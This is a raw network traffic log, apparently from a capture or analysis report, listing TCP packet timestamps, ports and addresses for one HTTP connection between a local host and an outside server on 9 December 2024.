Dec 9, 2024 18:20:53.124280930 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.124330044 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.124363899 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.124413013 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.124872923 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.124919891 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.125072956 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.125123024 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.125560999 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.125612020 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.125633001 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.125679970 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.126153946 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.126199961 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.126275063 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.126322031 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.127207041 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.127253056 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.127434969 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.127479076 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.127966881 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.128014088 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.128237963 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.128285885 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.128710032 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.128757000 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.129389048 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.129400015 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.129426956 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.129450083 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.129590988 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.129636049 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.130114079 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.130161047 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.130213976 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.130263090 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.130721092 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.130769968 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.130882025 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.130929947 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.131458044 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.131509066 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.131529093 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.131577969 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.132152081 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.132219076 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.132287025 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.132333040 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.132805109 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.132853985 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.133083105 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.133143902 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.133441925 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.133460999 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.133496046 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.133508921 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.133827925 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.133877993 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.134100914 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.134149075 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.134610891 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.134658098 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.134826899 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.134876013 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.135356903 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.135406017 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.135474920 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.135520935 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.136116982 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.136163950 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.136188030 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.136234045 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.136517048 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.136564970 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.136596918 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.136645079 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.137411118 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.137449980 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.137656927 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.137706041 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.138137102 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.138181925 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.138273001 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.138329983 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.138736010 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.138781071 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.138881922 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.138923883 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.139281034 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.139333963 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.139436007 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.139482975 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.139813900 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.139863968 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.139905930 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.139947891 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.140326977 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.140371084 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.140396118 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.140434980 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.140834093 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.140882969 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.140944958 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.140991926 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.141503096 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.141544104 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.141598940 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.141633987 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.142019033 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.142066002 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.299048901 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.299120903 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.299165964 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.299180031 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.299190044 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.299226999 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.299467087 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.299511909 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.299849033 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.299899101 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.299981117 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.300029039 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.300745964 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.300792933 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.300846100 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.300898075 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.301158905 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.301204920 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.301299095 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.301340103 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.301917076 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.301964045 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.302042007 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.302088022 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.302611113 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.302660942 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.302742004 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.302788019 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.303292036 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.303342104 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.303431034 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.303482056 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.303884983 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.303934097 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.304054022 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.304100990 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.304626942 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.304678917 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.304769039 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.304811954 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.305607080 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.305682898 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.305736065 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.305783033 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.306268930 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.306318045 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.306473017 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.306519985 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.306754112 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.306797028 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.306818962 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.306863070 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.307203054 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.307250023 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.307337046 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.307384014 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.308024883 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.308068991 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.308082104 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.308125973 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.308501005 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.308548927 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.308629036 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.308675051 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.309348106 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.309402943 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.309447050 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.309494972 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.310097933 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.310146093 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.310200930 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.310246944 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.310595036 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.310647964 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.310734987 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.310781956 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.311330080 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.311381102 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.311403990 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.311448097 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.311835051 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.311880112 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.311958075 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.312006950 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.312494993 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.312546968 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.312604904 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.312653065 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.313144922 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.313196898 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.313292027 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.313338995 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.313781977 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.313831091 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.313904047 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.313946962 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.314492941 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.314542055 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.314605951 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.314654112 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.315210104 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.315248013 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.315256119 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.315279961 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.315865993 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.315932989 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.315939903 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.315979958 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.316492081 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.316545010 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.316612959 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.316658020 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.317162991 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.317212105 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.317297935 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.317348003 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.317825079 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.317874908 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.317924023 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.317972898 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.318512917 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.318562984 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.318644047 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.318685055 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.319123983 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.319173098 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.319257021 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.319308043 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.319809914 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.319859982 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.319884062 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.319930077 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.320446014 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.320494890 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.320561886 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.320607901 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.321144104 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.321191072 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.321242094 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.321290016 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.321928024 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.321976900 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.322032928 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.322077036 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.322566032 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.322613955 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.322732925 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.322781086 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.323358059 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.323406935 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.323482037 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.323528051 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.324219942 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.324268103 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.324323893 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.324368954 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.324944019 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.324991941 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.325005054 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.325050116 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.325516939 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.325565100 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.325711966 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.325761080 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.326169014 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.326224089 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.326288939 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.326330900 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.326976061 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.327028036 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.327126980 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.327174902 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.327589989 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.327641964 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.327698946 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.327747107 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.328196049 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.328247070 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.328319073 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.328382015 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.329016924 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.329066038 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.329092979 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.329138994 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.329713106 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.329761982 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.329884052 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.329926014 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.330446005 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.330521107 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.330590963 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.330640078 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.331403017 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.331451893 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.331552982 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.331605911 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.332071066 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.332118988 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.332264900 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.332315922 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.332549095 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.332597971 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.332642078 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.332690001 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.333120108 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.333167076 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.333220005 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.333266973 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.333620071 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.333671093 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.333693981 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.333739042 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.334063053 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.334110975 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.492206097 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.492286921 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.492295980 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.492327929 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.492626905 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.492685080 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.492760897 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.492806911 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.492969036 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.493019104 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.493155003 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.493202925 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.493415117 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.493464947 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.493544102 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.493593931 CET	49828	80	192.168.2.6	185.215.113.16
